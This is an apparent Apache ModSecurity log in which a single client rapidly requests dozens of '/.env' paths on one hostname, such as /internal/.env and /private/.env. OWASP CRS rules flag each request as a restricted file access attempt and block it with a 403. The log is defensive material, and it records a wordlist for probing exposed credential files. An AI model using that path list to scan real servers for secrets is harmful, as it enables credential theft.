[Mon Oct 26 10:03:27.421338 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at9dr7GXTlA520hhAgG7-wAAAA8"]
[Mon Oct 26 10:03:27.421573 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at9drwt8dJFpdHay4jzKhwAAAAA"]
[Mon Oct 26 10:03:27.421582 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at9dr7GXTlA520hhAgG7-wAAAA8"]
[Mon Oct 26 10:03:27.421696 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at9drwt8dJFpdHay4jzKhwAAAAA"]
[Mon Oct 26 10:03:27.421921 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at9drwt8dJFpdHay4jzKhwAAAAA"]
[Mon Oct 26 10:03:27.452266 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5dQAAACU"]
[Mon Oct 26 10:03:27.452422 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5dQAAACU"]
[Mon Oct 26 10:03:27.452652 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5dQAAACU"]
[Mon Oct 26 10:03:27.453296 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at9drwt8dJFpdHay4jzKiAAAAAA"]
[Mon Oct 26 10:03:27.453441 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at9drwt8dJFpdHay4jzKiAAAAAA"]
[Mon Oct 26 10:03:27.453602 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at9dryDi6FEnz4zo40NhdwAAAAk"]
[Mon Oct 26 10:03:27.453687 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at9drwt8dJFpdHay4jzKiAAAAAA"]
[Mon Oct 26 10:03:27.453750 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at9dryDi6FEnz4zo40NhdwAAAAk"]
[Mon Oct 26 10:03:27.453975 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at9dryDi6FEnz4zo40NhdwAAAAk"]
[Mon Oct 26 10:03:27.455069 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at9dr7nmpHTSsAiKbb2bygAAAAc"]
[Mon Oct 26 10:03:27.455220 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at9dr7nmpHTSsAiKbb2bygAAAAc"]
[Mon Oct 26 10:03:27.455447 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at9dr7nmpHTSsAiKbb2bygAAAAc"]
[Mon Oct 26 10:03:27.456411 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmHwAAAA4"]
[Mon Oct 26 10:03:27.456473 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKBAAAAAs"]
[Mon Oct 26 10:03:27.456575 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmHwAAAA4"]
[Mon Oct 26 10:03:27.456664 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKBAAAAAs"]
[Mon Oct 26 10:03:27.456787 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmHwAAAA4"]
[Mon Oct 26 10:03:27.456887 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKBAAAAAs"]
[Mon Oct 26 10:03:27.457812 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at9dr7GXTlA520hhAgG7_AAAAA8"]
[Mon Oct 26 10:03:27.457973 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at9dr7GXTlA520hhAgG7_AAAAA8"]
[Mon Oct 26 10:03:27.458019 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at9dr09qPMNS87qzj5gkNQAAABE"]
[Mon Oct 26 10:03:27.458177 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at9dr09qPMNS87qzj5gkNQAAABE"]
[Mon Oct 26 10:03:27.458187 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at9dr7GXTlA520hhAgG7_AAAAA8"]
[Mon Oct 26 10:03:27.458376 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at9dr09qPMNS87qzj5gkNQAAABE"]
[Mon Oct 26 10:03:27.459467 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at9dr8fzpoBm8xCXttklRQAAABA"]
[Mon Oct 26 10:03:27.459687 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at9dr8fzpoBm8xCXttklRQAAABA"]
[Mon Oct 26 10:03:27.460024 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at9dr8fzpoBm8xCXttklRQAAABA"]
[Mon Oct 26 10:03:27.472357 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at9dr8fzpoBm8xCXttklRgAAABA"]
[Mon Oct 26 10:03:27.472485 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at9dr8fzpoBm8xCXttklRgAAABA"]
[Mon Oct 26 10:03:27.472701 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at9dr8fzpoBm8xCXttklRgAAABA"]
[Mon Oct 26 10:03:27.482415 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at9dr09qPMNS87qzj5gkNgAAABE"]
[Mon Oct 26 10:03:27.482566 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at9dr09qPMNS87qzj5gkNgAAABE"]
[Mon Oct 26 10:03:27.482775 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at9dr09qPMNS87qzj5gkNgAAABE"]
[Mon Oct 26 10:03:27.483068 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at9dr7cZuT5gdeNd6aUKBQAAAAs"]
